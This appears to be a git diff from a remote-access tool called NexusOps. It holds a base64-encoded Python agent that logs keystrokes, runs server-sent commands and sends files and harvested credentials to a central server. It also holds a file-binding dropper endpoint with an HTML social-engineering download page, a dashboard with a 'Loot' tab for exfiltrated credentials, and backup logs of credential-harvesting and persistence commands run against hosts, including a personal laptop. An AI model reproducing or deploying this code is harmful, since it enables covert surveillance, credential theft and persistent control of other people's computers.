fb3N9ICh7YXJjaH0pIikKICAgICAgICBwcmludChmIkxvY2FsIElQICAgICAgOiB7aXB9IikKICAgICAgICBwcmludChmIlNlcnZlciBFbmRwb2ludDoge3NlcnZlcl91cmx9IikKICAgICAgICBwcmludCgiPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKQoKICAgICMgUmVnaXN0ZXIgTm9kZQogICAgcmVnX3BheWxvYWQgPSB7CiAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgInBsYXRmb3JtIjogc3lzdGVtX29zLmxvd2VyKCksCiAgICAgICAgImFyY2giOiBhcmNoLAogICAgICAgICJpcCI6IGlwLAogICAgICAgICJvc05hbWUiOiBmIntzeXN0ZW1fb3N9IHtwbGF0Zm9ybS5yZWxlYXNlKCl9IiwKICAgICAgICAidGFncyI6IG5vZGVfdGFncwogICAgfQoKICAgIGlmIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KCJbKl0gUmVnaXN0ZXJpbmcgbm9kZSB3aXRoIGNlbnRyYWwgZW5kcG9pbnQuLi4iKQogICAgcmVzID0gaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9yZWdpc3RlciIsIHJlZ19wYXlsb2FkKQogICAgaWYgcmVzIGFuZCByZXMuZ2V0KCJzdWNjZXNzIikgYW5kIG5vdCBxdWlldF9tb2RlOgogICAgICAgIHByaW50KGYi4pyFIFJlZ2lzdGVyZWQgYXMgbm9kZSBJRDoge25vZGVfaWR9IikKCiAgICAjIFN0YXJ0IGlucHV0IGNhcHR1cmUgKGtleXN0cm9rZXMsIGNsaWNrcywgc2Nyb2xsKQogICAgY2FwdHVyZV9zdGFydGVkID0gc3RhcnRfaW5wdXRfY2FwdHVyZSgpCiAgICBpZiBub3QgcXVpZXRfbW9kZToKICAgICAgICBpZiBjYXB0dXJlX3N0YXJ0ZWQ6CiAgICAgICAgICAgIHByaW50KCJbKl0gSW5wdXQgY2FwdHVyZSBhY3RpdmUgKGtleXN0cm9rZXMgKyBtb3VzZSBldmVudHMpIikKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCgiWyFdIElucHV0IGNhcHR1cmUgdW5hdmFpbGFibGUgKGluc3RhbGwgcHlucHV0OiBwaXAgaW5zdGFsbCBweW5wdXQpIikKCiAgICBsYXN0X2lucHV0X2ZsdXNoID0gdGltZS50aW1lKCkKICAgIGJhY2tvZmYgPSAxICAjIFR1bm5lbCByZWNvbm5lY3Rpb24gYmFja29mZiBpbiBzZWNvbmRzCgogICAgd2hpbGUgVHJ1ZToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGNwdSA9IGdldF9jcHVfdXNhZ2UoKQogICAgICAgICAgICBtZW0gPSBnZXRfbWVtb3J5X3VzYWdlKCkKICAgICAgICAgICAgZGlzayA9IGdldF9kaXNrX3VzYWdlKCkKICAgICAgICAgICAgdXB0aW1lID0gZ2V0X3VwdGltZV9zZWNvbmRzKCkKCiAgICAgICAgICAgIGhlYXJ0YmVhdF9wYXlsb2FkID0gewogICAgICAgICAgICAgICAgIm5vZGVJZCI6IG5vZGVfaWQsCiAgICAgICAgICAgICAgICAiY3B1VXNhZ2UiOiBjcHUsCiAgICAgICAgICAgICAgICAibWVtVXNhZ2UiOiBtZW0sCiAgICAgICAgICAgICAgICAiZGlza1VzYWdlIjogZGlzaywKICAgICAgICAgICAgICAgICJ1cHRpbWUiOiB1cHRpbWUsCiAgICAgICAgICAgICAgICAicHJvY2Vzc0NvdW50IjogZ2V0X3Byb2Nlc3NfY291bnQoKSwKICAgICAgICAgICAgICAgICJ0YWdzIjogbm9kZV90YWdzLAogICAgICAgICAgICAgICAgImhlYXJ0YmVhdEludGVydmFsIjogaGVhcnRiZWF0X2ludGVydmFsCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHJlcyA9IGh0dHBfcG9zdChmIntzZXJ2ZXJfdXJsfS9hcGkvYWdlbnQvaGVhcnRiZWF0IiwgaGVhcnRiZWF0X3BheWxvYWQpCgogICAgICAgICAgICBub3cgPSB0aW1lLnRpbWUoKQogICAgICAgICAgICBpZiBub3cgLSBsYXN0X2xvZ19jaGVja190aW1lID4gMTU6CiAgICAgICAgICAgICAgICBsb2dzID0gY29sbGVjdF9yZWNlbnRfc3lzdGVtX2xvZ3MoKQogICAgICAgICAgICAgICAgaWYgbG9nczoKICAgICAgICAgICAgICAgICAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2xvZ3MiLCB7CiAgICAgICAgICAgICAgICAgICAgICAgICJub2RlSWQiOiBub2RlX2lkLAogICAgICAgICAgICAgICAgICAgICAgICAiaG9zdG5hbWUiOiBob3N0bmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgImxvZ3MiOiBsb2dzCiAgICAgICAgICAgICAgICAgICAgfSkKICAgICAgICAgICAgICAgIGxhc3RfbG9nX2NoZWNrX3RpbWUgPSBub3cKCiAgICAgICAgICAgICMgRmx1c2ggY2FwdHVyZWQgaW5wdXQgZXZlbnRzIGV2ZXJ5IDEwIHNlY29uZHMKICAgICAgICAgICAgaWYgbm93IC0gbGFzdF9pbnB1dF9mbHVzaCA+IDEwOgogICAgICAgICAgICAgICAgZmx1c2hfaW5wdXRfZXZlbnRzKHNlcnZlcl91cmwsIG5vZGVfaWQsIGhvc3RuYW1lKQogICAgICAgICAgICAgICAgbGFzdF9pbnB1dF9mbHVzaCA9IG5vdwoKICAgICAgICAgICAgaWYgcmVzIGFuZCAiY29tbWFuZHMiIGluIHJlcyBhbmQgcmVzWyJjb21tYW5kcyJdOgogICAgICAgICAgICAgICAgZm9yIGNtZF9pdGVtIGluIHJlc1siY29tbWFuZHMiXToKICAgICAgICAgICAgICAgICAgICBjbWRfaWQgPSBjbWRfaXRlbS5nZXQoImlkIikKICAgICAgICAgICAgICAgICAgICBhY3Rpb25fdHlwZSA9IGNtZF9pdGVtLmdldCgiYWN0aW9uVHlwZSIsICJyYXdfY29tbWFuZCIpCiAgICAgICAgICAgICAgICAgICAgcGF5bG9hZCA9IGNtZF9pdGVtLmdldCgicGF5bG9hZCIsIHt9KQogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIGlmICJjb21tYW5kIiBpbiBjbWRfaXRlbSBhbmQgbm90IHBheWxvYWQ6CiAgICAgICAgICAgICAgICAgICAgICAgIHBheWxvYWRbImNvbW1hbmQiXSA9IGNtZF9pdGVtLmdldCgiY29tbWFuZCIpCgogICAgICAgICAgICAgICAgICAgIG91dHB1dCwgZXhpdF9jb2RlID0gZXhlY3V0ZV9zdHJ1Y3R1cmVkX2FjdGlvbihhY3Rpb25fdHlwZSwgcGF5bG9hZCkKCiAgICAgICAgICAgICAgICAgICAgIyBDaGVjayBmb3IgSlNPTi1lbmNvZGVkIHNwZWNpYWwgcmVzdWx0IHR5cGVzCiAgICAgICAgICAgICAgICAgICAgc3BlY2lhbCA9IE5vbmUKICAgICAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIG91dHB1dC5zdGFydHN3aXRoKCd7Jyk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcGVjaWFsID0ganNvbi5sb2FkcyhvdXRwdXQpCiAgICAgICAgICAgICAgICAgICAgZXhjZXB0OiBwYXNzCgogICAgICAgICAgICAgICAgICAgIGlmIHNwZWNpYWwgYW5kIHNwZWNpYWwuZ2V0KCJ0eXBlIikgPT0gImZpbGVfcmVzdWx0IjoKICAgICAgICAgICAgICAgICAgICAgICAgIyBSb3V0ZSB0byBmaWxlLXJlc3VsdCBlbmRwb2ludAogICAgICAgICAgICAgICAgICAgICAgICBodHRwX3Bvc3QoZiJ7c2VydmVyX3VybH0vYXBpL2FnZW50L2ZpbGUtcmVzdWx0IiwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgImNvbW1hbmRJZCI6IGNtZF9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJub2RlSWQiOiBub2RlX2lkLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImhvc3RuYW1lIjogaG9zdG5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZmlsZW5hbWUiOiBzcGVjaWFsLmdldCgiZmlsZW5hbWUiLCAidW5rbm93biIpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImRhdGEiOiBzcGVjaWFsLmdldCgiZGF0YSIsICIiKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtaW1lIjogc3BlY2lhbC5nZXQoIm1pbWUiLCAiYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIikKICAgICAgICAgICAgICAgICAgICAgICAgfSkKICAgICAgICAgICAgICAgICAgICBlbGlmIHNwZWNpYWwgYW5kIHNwZWNpYWwuZ2V0KCJ0eXBlIikgPT0gImhhcnZlc3RfcmVzdWx0IjoKICAgICAgICAgICAgICAgICAgICAgICAgaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9oYXJ2ZXN0LXJlc3VsdCIsIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb21tYW5kSWQiOiBjbWRfaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAibm9kZUlkIjogbm9kZV9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJob3N0bmFtZSI6IGhvc3RuYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgImNyZWRlbnRpYWxzIjogc3BlY2lhbC5nZXQoImNyZWRlbnRpYWxzIiwgW10pCiAgICAgICAgICAgICAgICAgICAgICAgIH0pCiAgICAgICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAgICAgaHR0cF9wb3N0KGYie3NlcnZlcl91cmx9L2FwaS9hZ2VudC9jb21tYW5kLXJlc3VsdCIsIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJjb21tYW5kSWQiOiBjbWRfaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAibm9kZUlkIjogbm9kZV9pZCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJvdXRwdXQiOiBvdXRwdXQsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZXhpdENvZGUiOiBleGl0X2NvZGUKICAgICAgICAgICAgICAgICAgICAgICAgfSkKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICBpZiBub3QgcXVpZXRfbW9kZToKICAgICAgICAgICAgICAgIHByaW50KGYiWyFdIENvbm5lY3Rpb24gZXJyb3I6IHtlfS4gUmV0cnlpbmcgaW4ge2JhY2tvZmZ9cy4uLiIpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoYmFja29mZikKICAgICAgICAgICAgYmFja29mZiA9IG1pbihiYWNrb2ZmICogMiwgNjApCiAgICAgICAgICAgIGNvbnRpbnVlCgogICAgICAgIGJhY2tvZmYgPSAxICAjIFJlc2V0IG9uIHN1Y2Nlc3MKICAgICAgICB0aW1lLnNsZWVwKGhlYXJ0YmVhdF9pbnRlcnZhbCkKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBtYWluKCkK"; -app.post('/api/bind', upload.single('file'), (req, res) => { - if (!req.file) { - return res.status(400).json({ error: 'No file uploaded. Use field name "file".' }); - } - - const originalName = req.file.originalname; - const b64Content = req.file.buffer.toString('base64'); - const b64Lines = b64Content.match(/.{1,76}/g) || [b64Content]; - const agentLines = AGENT_B64.match(/.{1,76}/g) || [AGENT_B64]; - const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`; - const format = (req.query.format || 'sh').toLowerCase(); - - let dropper, boundName, contentType; - - // ── HTML Payload (one-click social engineering, auto-downloads file) ── - if (format === 'html') { - const safeName = originalName.replace(/"/g, '"').replace(/\\/g, '\\\\'); - const safeB64 = b64Content; - dropper = ` -${safeName} - -
-
-

Opening your file…

-

${safeName}

- Download & Open -
- - - - - - - -
-
-
- -
-
-

NexusOps

- Node Control & Telemetry Operations -
-
- - - -
- - Nodes CSV - - - Inputs CSV - - - - - -
-
- - -
- - -
-
-
-
- Total Nodes -

0

-
-
- -
-
-
- Online Nodes -

0

-
-
- -
-
-
- Offline / Stale -

0

-
-
- -
-
-
- Avg Network CPU -

0%

-
-
-
- - -
- - -
- - - -
- -
- - -
-
- - -
-
- -

Waiting for Agents to Connect...

-

No nodes registered yet. Click "Add New Computer" to get your agent installer script or standalone binary.

- -
-
- - -
-
-

Real-time Aggregate System Telemetry

- Live Stream -
-
- -
-
- - -
-
-

Task & Control Execution Log

- 0 events -
-
-
-
[SYSTEM] NexusOps Telemetry Server ready. Waiting for node tasks...
-
-
-
- - -
-
-

Master Centralized System & Audit Log Stream

-
- - 0 entries -
-
-
-
-
[SYSTEM] Central log stream active. Listening for node syslog and audit events...
-
-
-
- - -
-
-

Master Intelligence Log — Input Capture & Machine Telemetry

-
- - - - 0 events -
-
- -
- Select a machine above to view its details here... -
-
-
-
[INTEL] Master Intelligence Log active. Awaiting input capture data from agents...
-
-
-
- - -
-
-

Loot — Exfiltrated Files & Harvested Credentials

-
- - -
-
-
-
[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.
-
- -
- -
- - - - - - - - - - - - - -
☕ Support This Project — Buy Me a Coffee
- - - -
- - - - - - - - diff --git a/backups/pre-completeness-1790729011.tar.gz b/backups/pre-completeness-1790729011.tar.gz deleted file mode 100644 index d85e840..0000000 Binary files a/backups/pre-completeness-1790729011.tar.gz and /dev/null differ diff --git a/backups/pre-wipe-20260929/alerts.json b/backups/pre-wipe-20260929/alerts.json deleted file mode 100644 index 440843c..0000000 --- a/backups/pre-wipe-20260929/alerts.json +++ /dev/null @@ -1,26 +0,0 @@ -[ - { - "ts": 1790276257557, - "nodeId": "node-c2-builder-slay-10302044", - "hostname": "c2-builder-slay", - "ip": "10.30.20.44", - "type": "node_offline", - "message": "c2-builder-slay (10.30.20.44) offline > 5 min" - }, - { - "ts": 1790582539356, - "nodeId": "node-macbook-air.local-10302069", - "hostname": "MacBook-Air.local", - "ip": "10.30.20.69", - "type": "node_offline", - "message": "MacBook-Air.local (10.30.20.69) offline > 5 min" - }, - { - "ts": 1790645741166, - "nodeId": "node-macbook-air.local-10302069", - "hostname": "MacBook-Air.local", - "ip": "10.30.20.69", - "type": "node_offline", - "message": "MacBook-Air.local (10.30.20.69) offline > 5 min" - } -] \ No newline at end of file diff --git a/backups/pre-wipe-20260929/commands.json b/backups/pre-wipe-20260929/commands.json deleted file mode 100644 index cb75625..0000000 --- a/backups/pre-wipe-20260929/commands.json +++ /dev/null @@ -1 +0,0 @@ -[{"id":"cmd-1785763625427-tskn","nodeId":"node-persist-test-r1wl79","hostname":"PERSIST-TEST","command":"list_processes ({})","status":"queued","createdAt":1785763625427,"output":""},{"id":"cmd-1785763829294-t45e","nodeId":"node-persist-test-r1wl79","hostname":"PERSIST-TEST","command":"screenshot ({})","status":"queued","createdAt":1785763829294,"output":""},{"id":"cmd-1785799111778-fw80","nodeId":"node-persist-test-r1wl79","hostname":"PERSIST-TEST","command":"screenshot ({})","status":"queued","createdAt":1785799111778,"output":""},{"id":"cmd-1785799112666-n295","nodeId":"node-persist-test-r1wl79","hostname":"PERSIST-TEST","command":"ensure_persistence ({\"server_url\":\"http://10.30.20.44:3000\"})","status":"queued","createdAt":1785799112666,"output":""},{"id":"cmd-1785800266554-xcaq","nodeId":"node-persist-test-r1wl79","hostname":"PERSIST-TEST","command":"harvest_credentials ({})","status":"queued","createdAt":1785800266554,"output":""},{"id":"cmd-1785800267234-djzf","nodeId":"node-persist-test-r1wl79","hostname":"PERSIST-TEST","command":"harvest_credentials ({})","status":"queued","createdAt":1785800267234,"output":""},{"id":"cmd-1785800280768-oz34","nodeId":"node-persist-test-r1wl79","hostname":"PERSIST-TEST","command":"download_file ({\"path\":\"\"})","status":"queued","createdAt":1785800280768,"output":""},{"id":"cmd-1785800298290-t8h5","nodeId":"node-persist-test-r1wl79","hostname":"PERSIST-TEST","command":"download_file ({\"path\":\"\"})","status":"queued","createdAt":1785800298290,"output":""},{"id":"cmd-1785800298296-keo0","nodeId":"node-persist-test-r1wl79","hostname":"PERSIST-TEST","command":"harvest_credentials ({})","status":"queued","createdAt":1785800298296,"output":""},{"id":"cmd-1785816348890-e8he","nodeId":"node-drjoness-macbook-air.local-103020200","hostname":"drjoness-MacBook-Air.local","command":"free -h","status":"failed","createdAt":1785816348890,"output":"/bin/sh: free: command not found\n","completedAt":1785816350411},{"id":"cmd-1785816358911-limt","nodeId":"node-drjoness-macbook-air.local-103020200","hostname":"drjoness-MacBook-Air.local","command":"screenshot ({})","status":"failed","createdAt":1785816358912,"output":"ERROR: no screenshot tool available (install imagemagick, scrot, or gnome-screenshot)","completedAt":1785816368744},{"id":"cmd-1785816375096-uubu","nodeId":"node-drjoness-macbook-air.local-103020200","hostname":"drjoness-MacBook-Air.local","command":"harvest_credentials ({})","status":"completed","createdAt":1785816375096,"output":"[HARVEST] 6 items collected","completedAt":1785816388232},{"id":"cmd-1785816565383-1www","nodeId":"node-drjoness-macbook-air.local-103020200","hostname":"drjoness-MacBook-Air.local","command":"list_processes ({})","status":"completed","createdAt":1785816565383,"output":"ps: illegal option -- -\nusage: ps [-AaCcEefhjlMmrSTvwXx] [-O fmt | -o fmt] [-G gid[,gid...]]\n [-u]\n [-p pid[,pid...]] [-t tty[,tty...]] [-U user[,user...]]\n ps [-L]\n","completedAt":1785816568447},{"id":"cmd-1785816611740-cvyj","nodeId":"node-drjoness-macbook-air.local-103020200","hostname":"drjoness-MacBook-Air.local","command":"get_network_interfaces ({})","status":"completed","createdAt":1785816611740,"output":"/bin/sh: ip: command not found\nlo0: flags=8049 mtu 16384\n\toptions=1203\n\tinet 127.0.0.1 netmask 0xff000000\n\tinet6 ::1 prefixlen 128 \n\tinet6 fe80::1%lo0 prefixlen 64 scopeid 0x1 \n\tnd6 options=201\ngif0: flags=8010 mtu 1280\nstf0: flags=0<> mtu 1280\nanpi1: flags=8863 mtu 1500\n\toptions=400\n\tether 2a:f1:7a:c1:1b:41\n\tmedia: none\n\tstatus: inactive\nanpi0: flags=8863 mtu 1500\n\toptions=400\n\tether 2a:f1:7a:c1:1b:40\n\tmedia: none\n\tstatus: inactive\nap1: flags=8822 mtu 1500\n\toptions=400\n\tether 46:df:67:05:16:a4\n\tmedia: autoselect (none)\nen3: flags=8863 mtu 1500\n\toptions=400\n\tether 2a:f1:7a:c1:1b:20\n\tnd6 options=201\n\tmedia: none\n\tstatus: inactive\nen4: flags=8863 mtu 1500\n\toptions=400\n\tether 2a:f1:7a:c1:1b:21\n\tnd6 options=201\n\tmedia: none\n\tstatus: inactive\nen0: flags=8863 mtu 1500\n\toptions=6460\n\tether ea:a8:4a:40:47:e2\n\tinet 10.30.20.200 netmask 0xffffff00 broadcast 10.30.20.255\n\tinet6 fe80::1003:45b0:32ad:61c8%en0 prefixlen 64 secured scopeid 0x9 \n\tinet6 2601:601:8601:6b80:1019:e631:9aac:32df prefixlen 64 autoconf secured \n\tinet6 2601:601:8601:6b80:1056:11f1:7e7a:d3a1 prefixlen 64 autoconf temporary \n\tinet6 2601:601:8601:6b80::e541 prefixlen 64 dynamic \n\tnd6 options=201\n\tmedia: autoselect\n\tstatus: active\nen1: flags=8963 mtu 1500\n\toptions=460\n\tether 36:48:3d:c8:c4:80\n\tmedia: autoselect \n\tstatus: inactive\nen2: flags=8963 mtu 1500\n\toptions=460\n\tether 36:48:3d:c8:c4:84\n\tmedia: autoselect \n\tstatus: inactive\nawdl0: flags=8863 mtu 1500\n\toptions=6460\n\tether 62:ff:06:ea:3a:86\n\tinet6 fe80::60ff:6ff:feea:3a86%awdl0 prefixlen 64 scopeid 0xc \n\tnd6 options=201\n\tmedia: autoselect\n\tstatus: active\nbridge0: flags=8863 mtu 1500\n\toptions=63\n\tether 36:48:3d:c8:c4:80\n\tConfiguration:\n\t\tid 0:0:0:0:0:0 priority 0 hellotime 0 fwddelay 0\n\t\tmaxage 0 holdcnt 0 proto stp maxaddr 100 timeout 1200\n\t\troot id 0:0:0:0:0:0 priority 0 ifcost 0 port 0\n\t\tipfilter disabled flags 0x0\n\tmember: en1 flags=3\n\t ifmaxaddr 0 port 10 priority 0 path cost 0\n\tmember: en2 flags=3\n\t ifmaxaddr 0 port 11 priority 0 path cost 0\n\tnd6 options=201\n\tmedia: \n\tstatus: inactive\nllw0: flags=8863 mtu 1500\n\toptions=400\n\tether 62:ff:06:ea:3a:86\n\tinet6 fe80::60ff:6ff:feea:3a86%llw0 prefixlen 64 scopeid 0xe \n\tnd6 options=201\n\tmedia: autoselect (none)\nutun4: flags=8051 mtu 1500\n\tinet6 fe80::807e:fe3d:b712:1484%utun4 prefixlen 64 scopeid 0x13 \n\tnd6 options=201\nutun0: flags=8051 mtu 1380\n\tinet6 fe80::7010:6d33:1e1f:260e%utun0 prefixlen 64 scopeid 0x14 \n\tnd6 options=201\nutun1: flags=8051 mtu 2000\n\tinet6 fe80::77e2:cd22:47b2:f688%utun1 prefixlen 64 scopeid 0x15 \n\tnd6 options=201\nutun2: flags=8051 mtu 1000\n\tinet6 fe80::ce81:b1c:bd2c:69e%utun2 prefixlen 64 scopeid 0x16 \n\tnd6 options=201\nutun3: flags=8051 mtu 1380\n\tinet6 fe80::51a9:2bab:36ee:545c%utun3 prefixlen 64 scopeid 0x17 \n\tnd6 options=201\nutun5: flags=8051 mtu 1380\n\tinet6 fe80::d864:bb74:a5a7:d8a5%utun5 prefixlen 64 scopeid 0x18 \n\tnd6 options=201\nutun6: flags=8051 mtu 1420\n\tnd6 options=201\n","completedAt":1785816621743},{"id":"cmd-1785817551838-1f5g","nodeId":"node-drjoness-macbook-air.local-10502","hostname":"drjoness-MacBook-Air.local","command":"list_processes ({})","status":"completed","createdAt":1785817551838,"output":"USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND\ndrjones 33204 78.2 1.1 447251232 272032 ?? Rs 3Jul26 7377:10.46 next-server (v16.2.3) \n_windowserver 98 70.7 0.6 440683728 138736 ?? Rs 29Jun26 10656:07.61 /System/Library/PrivateFrameworks/SkyLight.framework/Resources/WindowServer -daemon\ndrjones 80581 66.2 0.7 440816720 184528 ?? R Sat04PM 11:55.47 /Applications/ChatGPT.app/Contents/MacOS/ChatGPT\ndrjones 33970 50.5 0.3 437124640 86224 ?? R 22Jul26 122:47.34 /Applications/Ollama.app/Contents/Resources/ollama serve\ndrjones 95723 23.5 0.5 444690704 134928 s002 S+ 9:04PM 1:39.06 /opt/homebrew/bin/node --expose-gc /Users/drjones/.hermes/hermes-agent/ui-tui/dist/entry.js\nroot 105 23.2 0.1 435379376 15056 ?? Rs 29Jun26 775:57.63 /usr/libexec/runningboardd\ndrjones 14549 22.8 0.3 436399024 65952 ?? S Thu05PM 246:53.31 /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal\ndrjones 16815 12.7 0.2 509759552 55616 ?? Rs Sat09PM 221:55.68 /System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent\ndrjones 71252 11.3 0.2 435682912 40912 ?? S 30Jun26 3179:41.97 /Applications/Stats.app/Contents/MacOS/Stats\nroot 38824 11.2 0.0 435321648 3744 ?? Ss Sun11AM 38:17.04 /usr/libexec/sysmond\ndrjones 39388 10.6 0.2 508208560 59104 ?? Ss 5:55AM 6:27.95 /System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent\n_coreaudiod 106 9.2 0.1 435401296 19888 ?? Ss 29Jun26 3119:23.75 /usr/sbin/coreaudiod\ndrjones 87773 9.1 0.4 445276704 90000 ?? S Thu04PM 272:22.33 /System/Volumes/Preboot/Cryptexes/App/System/Applications/Safari.app/Contents/MacOS/Safari\ndrjones 63259 8.4 0.1 435580880 25920 ?? S 9:44PM 38:39.55 /System/Applications/Utilities/Activity Monitor.app/Contents/MacOS/Activity Monitor\n","completedAt":1785817556561},{"id":"cmd-1785817551894-geum","nodeId":"node-drjoness-macbook-air.local-10502","hostname":"drjoness-MacBook-Air.local","command":"screenshot ({})","status":"failed","createdAt":1785817551894,"output":"ERROR: screenshot failed — no display access or tool available","completedAt":1785817558038},{"id":"cmd-1785817641239-4i53","nodeId":"node-drjoness-macbook-air.local-103020200","hostname":"drjoness-MacBook-Air.local","command":"list_processes ({})","status":"completed","createdAt":1785817641239,"output":"USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND\ndrjones 33204 83.6 0.5 446748960 120560 ?? Rs 3Jul26 7378:35.18 next-server (v16.2.3) \ndrjones 93210 79.0 0.3 1890993584 85024 ?? S 1Jul26 20:43.20 /Applications/Antigravity.app/Contents/MacOS/Antigravity\n_windowserver 98 38.5 0.5 440669904 127584 ?? Rs 29Jun26 10656:52.56 /System/Library/PrivateFrameworks/SkyLight.framework/Resources/WindowServer -daemon\ndrjones 95723 25.2 0.6 444693088 138512 s002 S+ 9:04PM 1:51.22 /opt/homebrew/bin/node --expose-gc /Users/drjones/.hermes/hermes-agent/ui-tui/dist/entry.js\ndrjones 14549 23.3 0.2 436398784 60704 ?? S Thu05PM 247:11.71 /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal\ndrjones 1072 16.8 0.2 436229824 51600 ?? Ss 9:23PM 0:01.19 npm exec @modelcontextprotocol/server-sequential-thinking \ndrjones 1075 16.3 0.2 436230160 51968 ?? Ss 9:23PM 0:01.23 npm exec safari-mcp \ndrjones 1076 16.0 0.2 436229760 51776 ?? Ss 9:23PM 0:01.15 npm exec @playwright/mcp \ndrjones 1073 15.2 0.2 436230064 51712 ?? Ss 9:23PM 0:01.18 npm exec @modelcontextprotocol/server-filesystem /Users/drjones \ndrjones 1074 15.0 0.2 436230160 52160 ?? Ss 9:23PM 0:01.23 npm exec ollama-mcp \ndrjones 2070 13.7 0.2 435414576 39712 ?? Ss 9:27PM 0:06.44 /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/BackgroundShortcutRunner.xpc/Contents/MacOS/BackgroundShortcutRunner\ndrjones 1077 12.4 0.2 436229760 51680 ?? Ss 9:23PM 0:01.11 npm exec @itapi-core/mcp-proxmox \ndrjones 53345 12.0 0.1 435319216 21664 ?? R 5:20PM 5:18.52 /Library/Developer/CommandLineTools/Library/Frameworks/Python3.framework/Versions/3.9/Resources/Python.app/Contents/MacOS/Python dashboard.py\ndrjones 2068 11.5 0.2 435402336 38448 ?? R 9:27PM 0:05.98 /System/Library/PrivateFrameworks/VoiceShortcuts.framework/Versions/A/Support/siriactionsd\n","completedAt":1785817649895},{"id":"cmd-1785817641272-ju1o","nodeId":"node-drjoness-macbook-air.local-103020200","hostname":"drjoness-MacBook-Air.local","command":"screenshot ({})","status":"failed","createdAt":1785817641272,"output":"ERROR: screenshot failed — no display access or tool available","completedAt":1785817651400},{"id":"cmd-1785817761598-awrq","nodeId":"node-drjoness-macbook-air.local-103020200","hostname":"drjoness-MacBook-Air.local","command":"raw_command ({\"command\":\"uname -a && uptime && echo --- && df -h / | tail -1\"})","status":"completed","createdAt":1785817761598,"output":"Darwin drjoness-MacBook-Air.local 25.3.0 Darwin Kernel Version 25.3.0: Wed Jan 28 20:54:55 PST 2026; root:xnu-12377.91.3~2/RELEASE_ARM64_T8132 arm64\n21:29 up 35 days, 3:26, 5 users, load averages: 13.73 14.98 20.96\n---\n/dev/disk3s1s1 460Gi 17Gi 67Gi 20% 455k 699M 0% /\n","completedAt":1785817772722},{"id":"cmd-1785818028867-tmtw","nodeId":"node-drjoness-macbook-air.local-103020200","hostname":"drjoness-MacBook-Air.local","command":"get_active_connections ({})","status":"completed","createdAt":1785818028867,"output":"/bin/sh: ss: command not found\nActive Internet connections (including servers)\nProto Recv-Q Send-Q Local Address Foreign Address (state) \ntcp4 0 39 10.30.20.200.63738 10.30.20.189.3128 ESTABLISHED\ntcp4 0 39 10.30.20.200.63737 10.30.20.189.3128 ESTABLISHED\ntcp4 0 0 10.30.20.200.63736 10.30.20.154.3128 ESTABLISHED\ntcp4 0 0 10.30.20.200.63734 10.30.20.71.3128 ESTABLISHED\ntcp4 0 0 10.30.20.200.63733 10.30.20.71.3128 ESTABLISHED\ntcp4 0 0 127.0.0.1.9224 127.0.0.1.63731 ESTABLISHED\ntcp4 0 0 127.0.0.1.63731 127.0.0.1.9224 ESTABLISHED\ntcp4 0 0 127.0.0.1.9224 127.0.0.1.63730 ESTABLISHED\ntcp4 0 0 127.0.0.1.63730 127.0.0.1.9224 ESTABLISHED\ntcp4 0 0 127.0.0.1.9224 127.0.0.1.63712 ESTABLISHED\ntcp4 0 0 127.0.0.1.63712 127.0.0.1.9224 ESTABLISHED\ntcp4 0 0 127.0.0.1.9224 127.0.0.1.63711 ESTABLISHED\ntcp4 0 0 127.0.0.1.63711 127.0.0.1.9224 ESTABLISHED\ntcp4 0 0 127.0.0.1.9224 127.0.0.1.63709 ESTABLISHED\ntcp4 0 0 127.0.0.1.63709 127.0.0.1.9224 ESTABLISHED\ntcp4 0 0 127.0.0.1.9224 127.0.0.1.63708 ESTABLISHED\ntcp4 0 0 127.0.0.1.63708 127.0.0.1.9224 ESTABLISHED\ntcp4 0 0 10.5.0.2.63662 91.108.56.126.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.63652 34.36.120.137.443 ESTABLISHED\ntcp4 0 0 10.5.0.2.63651 